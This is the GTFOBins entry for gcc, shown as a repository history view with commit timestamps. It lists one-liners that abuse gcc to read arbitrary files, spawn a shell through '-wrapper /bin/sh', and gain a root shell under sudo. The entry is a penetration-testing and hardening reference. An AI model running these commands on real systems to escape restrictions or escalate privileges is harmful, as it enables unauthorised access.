GTFOBins.github.io/_gtfobins/gcc.md

12 lines
200 B
Markdown
Raw Normal View History

2020-03-14 06:48:45 +01:00
---
functions:
file-read:
- code: |
LFILE=file_to_read
gcc -x c -E "$LFILE"
2020-03-14 06:48:45 +01:00
shell:
2020-03-14 12:17:30 +01:00
- code: gcc -wrapper /bin/sh,-s .
2020-03-14 06:48:45 +01:00
sudo:
2020-03-14 12:17:30 +01:00
- code: sudo gcc -wrapper /bin/sh,-s .
2020-03-14 06:48:45 +01:00
---